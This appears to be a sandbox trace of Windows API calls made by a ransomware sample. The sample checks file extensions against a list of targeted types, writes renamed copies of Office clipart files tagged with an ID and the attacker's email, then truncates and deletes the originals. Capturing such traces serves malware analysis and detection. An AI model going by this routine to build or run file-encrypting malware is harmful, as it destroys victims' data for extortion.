	[0173.538] lstrlenW (lpString=".dbf") returned 4
	[0173.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.538] lstrlenW (lpString=".1cd") returned 4
	[0173.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.538] lstrlenW (lpString=".jpg") returned 4
	[0173.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.538] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0173.538] lstrlenW (lpString="FD02116_.WMF") returned 12
	[0173.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0173.539] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3988) returned 1
	[0173.539] CloseHandle (hObject=0x5b4) returned 1
	[0173.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220
	[0173.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0173.539] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.540] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0173.540] GetLastError () returned 0x0
	[0173.540] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xf94, lpOverlapped=0x0) returned 1
	[0173.550] WriteFile (in: hFile=0x5b0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0173.551] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.551] WriteFile (in: hFile=0x5b0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.552] SetEndOfFile (hFile=0x5b0) returned 1
	[0173.552] CloseHandle (hObject=0x5b0) returned 1
	[0173.552] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.552] SetEndOfFile (hFile=0x5b4) returned 1
	[0173.554] CloseHandle (hObject=0x5b4) returned 1
	[0173.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0173.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1
	[0173.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.556] lstrlenW (lpString=".doc") returned 4
	[0173.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.556] lstrlenW (lpString=".docx") returned 5
	[0173.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.556] lstrlenW (lpString=".pdf") returned 4
	[0173.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.556] lstrlenW (lpString=".xls") returned 4
	[0173.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.556] lstrlenW (lpString=".xlsx") returned 5
	[0173.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.556] lstrlenW (lpString=".ppt") returned 4
	[0173.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.556] lstrlenW (lpString=".zip") returned 4
	[0173.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.556] lstrlenW (lpString=".rar") returned 4
	[0173.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.556] lstrlenW (lpString=".bz2") returned 4
	[0173.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.556] lstrlenW (lpString=".7z") returned 3
	[0173.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.556] lstrlenW (lpString=".dbf") returned 4
	[0173.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.556] lstrlenW (lpString=".1cd") returned 4
	[0173.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.556] lstrlenW (lpString=".jpg") returned 4
	[0173.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.557] lstrlenW (lpString=".doc") returned 4
	[0173.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.557] lstrlenW (lpString=".docx") returned 5
	[0173.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.557] lstrlenW (lpString=".pdf") returned 4
	[0173.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.557] lstrlenW (lpString=".xls") returned 4
	[0173.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.557] lstrlenW (lpString=".xlsx") returned 5
	[0173.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.557] lstrlenW (lpString=".ppt") returned 4
	[0173.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.557] lstrlenW (lpString=".zip") returned 4
	[0173.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.557] lstrlenW (lpString=".rar") returned 4
	[0173.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.557] lstrlenW (lpString=".bz2") returned 4
	[0173.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.557] lstrlenW (lpString=".7z") returned 3
	[0173.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.557] lstrlenW (lpString=".dbf") returned 4
	[0173.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.557] lstrlenW (lpString=".1cd") returned 4
	[0173.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0173.557] lstrlenW (lpString=".jpg") returned 4
	[0173.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.558] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0173.558] lstrlenW (lpString="FD02141_.WMF") returned 12
	[0173.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0173.559] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2636) returned 1
	[0173.559] CloseHandle (hObject=0x5b4) returned 1
	[0173.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220
	[0173.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0173.560] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.560] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0173.561] GetLastError () returned 0x0
	[0173.561] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0173.563] WriteFile (in: hFile=0x5b0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xa50, lpOverlapped=0x0) returned 1
	[0173.564] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.564] WriteFile (in: hFile=0x5b0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.564] SetEndOfFile (hFile=0x5b0) returned 1
	[0173.564] CloseHandle (hObject=0x5b0) returned 1
	[0173.564] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.564] SetEndOfFile (hFile=0x5b4) returned 1
	[0173.567] CloseHandle (hObject=0x5b4) returned 1
	[0173.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0173.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1
	[0173.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.568] lstrlenW (lpString=".doc") returned 4
	[0173.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.568] lstrlenW (lpString=".docx") returned 5
	[0173.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.568] lstrlenW (lpString=".pdf") returned 4
	[0173.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.568] lstrlenW (lpString=".xls") returned 4
	[0173.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.568] lstrlenW (lpString=".xlsx") returned 5
	[0173.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.568] lstrlenW (lpString=".ppt") returned 4
	[0173.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.569] lstrlenW (lpString=".zip") returned 4
	[0173.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.569] lstrlenW (lpString=".rar") returned 4
	[0173.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.569] lstrlenW (lpString=".bz2") returned 4
	[0173.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.569] lstrlenW (lpString=".7z") returned 3
	[0173.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.569] lstrlenW (lpString=".dbf") returned 4
	[0173.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.569] lstrlenW (lpString=".1cd") returned 4
	[0173.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.569] lstrlenW (lpString=".jpg") returned 4
	[0173.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.569] lstrlenW (lpString=".doc") returned 4
	[0173.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.569] lstrlenW (lpString=".docx") returned 5
	[0173.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.569] lstrlenW (lpString=".pdf") returned 4
	[0173.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.569] lstrlenW (lpString=".xls") returned 4
	[0173.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.569] lstrlenW (lpString=".xlsx") returned 5
	[0173.570] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.570] lstrlenW (lpString=".ppt") returned 4
	[0173.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.570] lstrlenW (lpString=".zip") returned 4
	[0173.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.570] lstrlenW (lpString=".rar") returned 4
	[0173.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.570] lstrlenW (lpString=".bz2") returned 4
	[0173.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.570] lstrlenW (lpString=".7z") returned 3
	[0173.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.570] lstrlenW (lpString=".dbf") returned 4
	[0173.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.570] lstrlenW (lpString=".1cd") returned 4
	[0173.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0173.570] lstrlenW (lpString=".jpg") returned 4
	[0173.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.570] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0173.570] lstrlenW (lpString="FD02153_.WMF") returned 12
	[0173.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0173.571] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5392) returned 1
	[0173.571] CloseHandle (hObject=0x5b4) returned 1
	[0173.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220
	[0173.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0173.572] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.572] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0174.739] GetLastError () returned 0x0
	[0174.739] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1510, lpOverlapped=0x0) returned 1
	[0174.741] WriteFile (in: hFile=0x4b4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1520, lpOverlapped=0x0) returned 1
	[0174.743] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.743] WriteFile (in: hFile=0x4b4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.743] SetEndOfFile (hFile=0x4b4) returned 1
	[0174.743] CloseHandle (hObject=0x4b4) returned 1
	[0174.743] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.743] SetEndOfFile (hFile=0x5b4) returned 1
	[0174.747] CloseHandle (hObject=0x5b4) returned 1
	[0174.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0174.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1
	[0174.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.950] lstrlenW (lpString=".doc") returned 4
	[0174.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.950] lstrlenW (lpString=".docx") returned 5
	[0174.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.950] lstrlenW (lpString=".pdf") returned 4
	[0174.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.950] lstrlenW (lpString=".xls") returned 4
	[0174.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.950] lstrlenW (lpString=".xlsx") returned 5
	[0174.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.950] lstrlenW (lpString=".ppt") returned 4
	[0174.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.951] lstrlenW (lpString=".zip") returned 4
	[0174.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.951] lstrlenW (lpString=".rar") returned 4
	[0174.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.951] lstrlenW (lpString=".bz2") returned 4
	[0174.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.951] lstrlenW (lpString=".7z") returned 3
	[0174.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.951] lstrlenW (lpString=".dbf") returned 4
	[0174.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.951] lstrlenW (lpString=".1cd") returned 4
	[0174.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.951] lstrlenW (lpString=".jpg") returned 4
	[0174.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.951] lstrlenW (lpString=".doc") returned 4
	[0174.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.951] lstrlenW (lpString=".docx") returned 5
	[0174.952] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.952] lstrlenW (lpString=".pdf") returned 4
	[0174.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.952] lstrlenW (lpString=".xls") returned 4
	[0174.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.952] lstrlenW (lpString=".xlsx") returned 5
	[0174.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.952] lstrlenW (lpString=".ppt") returned 4
	[0174.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0174.952] lstrlenW (lpString=".zip") returned 4
	[0174.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.952] lstrlenW (lpString=".rar") returned 4
	[0174.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.952] lstrlenW (lpString=".bz2") returned 4
	[0174.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.952] lstrlenW (lpString=".7z") returned 3
	[0174.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
